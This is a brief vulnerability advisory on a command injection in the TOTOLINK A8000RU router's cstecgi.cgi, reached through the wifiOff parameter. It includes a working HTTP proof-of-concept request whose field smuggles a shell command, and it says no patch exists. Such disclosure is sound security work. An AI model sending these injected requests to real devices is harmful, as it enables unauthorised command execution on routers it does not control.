# Summary of Command Injection Vulnerability in A8000RU ## Vulnerability Overview A command injection vulnerability was discovered in the `cstecgi.cgi` component of the TOTOLINK A8000RU router. Attackers can inject arbitrary operating system commands by crafting malicious requests targeting the `wifiOff` parameter. ## Affected Scope - **Vendor**: TOTOLINK - **Product**: A8000RU - **Version**: 7.1cu.643_b20200521 - **Vulnerability Type**: Command Injection ## Remediation No official patch is currently available. ## Proof of Concept (PoC) ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.6.2 Content-Length: 70 X-Requested-With: XMLHttpRequest Accept-Language: en-US,en;q=0.9 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Origin: http://192.168.6.2 Referer: http://192.168.6.2/basic/index.html Accept-Encoding: gzip, deflate, br Cookie: SESSION_ID=2179465792.2 Connection: keep-alive {"topicur1":"setWiFiGuestCfg","wifiOff":" ls>./setWiFiGuestCfg.txt"} ``` ## Verification Results Upon submitting the above HTTP request, the router successfully executed the `ls>./setWiFiGuestCfg.txt` command, creating a `setWiFiGuestCfg.txt` file containing the directory listing. This confirms that the command injection was successful.